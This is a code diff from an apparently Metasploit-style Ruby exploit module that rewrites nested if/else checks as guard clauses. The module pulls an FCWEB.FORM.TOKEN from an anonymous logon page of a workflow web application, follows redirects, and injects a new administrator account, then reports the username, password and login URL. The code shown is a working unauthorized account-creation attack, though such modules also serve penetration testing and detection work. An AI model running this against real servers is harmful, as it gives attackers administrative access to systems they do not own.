@@ -80,13 +80,19 @@ def run
80
80
end
81
81
82
82
body = res . body
83
- if body =~ /name="FCWEB\. FORM\. TOKEN" value="([^"]+)"/
84
- token_value = ::Regexp . last_match ( 1 )
85
- print_status ( "FCWEB.FORM.TOKEN value: #{ token_value } " )
86
- else
83
+ unless body =~ /name="FCWEB\. FORM\. TOKEN" value="([^"]+)"/
87
84
fail_with ( Failure ::UnexpectedReply , 'FCWEB.FORM.TOKEN not found.' )
88
85
end
89
86
87
+ token_value = ::Regexp . last_match ( 1 )
88
+ print_status ( "FCWEB.FORM.TOKEN value: #{ token_value } " )
89
+ # if body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
90
+ # token_value = ::Regexp.last_match(1)
91
+ # print_status("FCWEB.FORM.TOKEN value: #{token_value}")
92
+ # else
93
+ # fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
94
+ # end
95
+
90
96
res = send_request_cgi (
91
97
'method' => 'GET' ,
92
98
'uri' => normalize_uri ( target_uri . path , "workflow/logonAnonymous.do?FCWEB.FORM.TOKEN=#{ token_value } " ) ,
@@ -99,13 +105,13 @@ def run
99
105
fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
100
106
end
101
107
102
- if res . headers [ 'Location' ]
103
- location_value = res . headers [ 'Location' ]
104
- print_status ( "Redirect #1: #{ location_value } " )
105
- else
108
+ unless res . headers [ 'Location' ]
106
109
fail_with ( Failure ::UnexpectedReply , 'Location header not found.' )
107
110
end
108
111
112
+ location_value = res . headers [ 'Location' ]
113
+ print_status ( "Redirect #1: #{ location_value } " )
114
+
109
115
res = send_request_cgi (
110
116
'method' => 'GET' ,
111
117
'uri' => normalize_uri ( target_uri . path , location_value . to_s ) ,
@@ -118,13 +124,13 @@ def run
118
124
fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
119
125
end
120
126
121
- if res . headers [ 'Location' ]
122
- location_value = res . headers [ 'Location' ]
123
- print_status ( "Redirect #2: #{ location_value } " )
124
- else
127
+ unless res . headers [ 'Location' ]
125
128
fail_with ( Failure ::UnexpectedReply , 'Location header not found.' )
126
129
end
127
130
131
+ location_value = res . headers [ 'Location' ]
132
+ print_status ( "Redirect #2: #{ location_value } " )
133
+
128
134
res = send_request_cgi (
129
135
'method' => 'GET' ,
130
136
'uri' => normalize_uri ( target_uri . path , location_value . to_s ) ,
@@ -140,17 +146,17 @@ def run
140
146
html = res . get_html_document
141
147
h2_tag = html . at_css ( 'h2' )
142
148
143
- if h2_tag
144
- h2_text = h2_tag . text . strip
145
- if h2_text == 'Choose an Order Type'
146
- print_status ( 'Received expected response.' )
147
- else
148
- fail_with ( Failure ::UnexpectedReply , 'Unexpected string found inside h2 tag: ' + h2_text )
149
- end
150
- else
149
+ unless h2_tag
151
150
fail_with ( Failure ::UnexpectedReply , 'h2 tag not found.' )
152
151
end
153
152
153
+ h2_text = h2_tag . text . strip
154
+ unless h2_text == 'Choose an Order Type'
155
+ fail_with ( Failure ::UnexpectedReply , 'Unexpected string found inside h2 tag: ' + h2_text )
156
+ end
157
+
158
+ print_status ( 'Received expected response.' )
159
+
154
160
t = Time . now
155
161
username = datastore [ 'NEW_USERNAME' ]
156
162
password = Digest ::MD5 . hexdigest ( datastore [ 'NEW_PASSWORD' ] ) . upcase
@@ -251,17 +257,16 @@ def run
251
257
html = res . get_html_document
252
258
title_block = html . at_css ( '.titleBlock' )
253
259
254
- if title_block
255
- title_text = title_block . text . strip
256
- if title_text . include? ( 'Administration' )
257
- store_valid_credential ( user : datastore [ 'NEW_USERNAME' ] , private : datastore [ 'NEW_PASSWORD' ] , proof : html )
258
- print_good ( 'Login successful!' )
259
- else
260
- fail_with ( Failure ::UnexpectedReply , 'Expected string "Administration" not found.' )
261
- end
262
- else
260
+ unless title_block
263
261
fail_with ( Failure ::UnexpectedReply , 'Expected titleBlock not found.' )
264
262
end
263
+ title_text = title_block . text . strip
264
+
265
+ unless title_text . include? ( 'Administration' )
266
+ fail_with ( Failure ::UnexpectedReply , 'Expected string "Administration" not found.' )
267
+ end
268
+ store_valid_credential ( user : datastore [ 'NEW_USERNAME' ] , private : datastore [ 'NEW_PASSWORD' ] , proof : html )
269
+ print_good ( 'Login successful!' )
265
270
266
271
print_good ( "New admin user was successfully injected:\n \t #{ datastore [ 'NEW_USERNAME' ] } :#{ datastore [ 'NEW_PASSWORD' ] } " )
267
272
print_good ( "Login at: #{ full_uri ( normalize_uri ( target_uri , 'workflow/jsp/logon.jsp' ) ) } " )
0 commit comments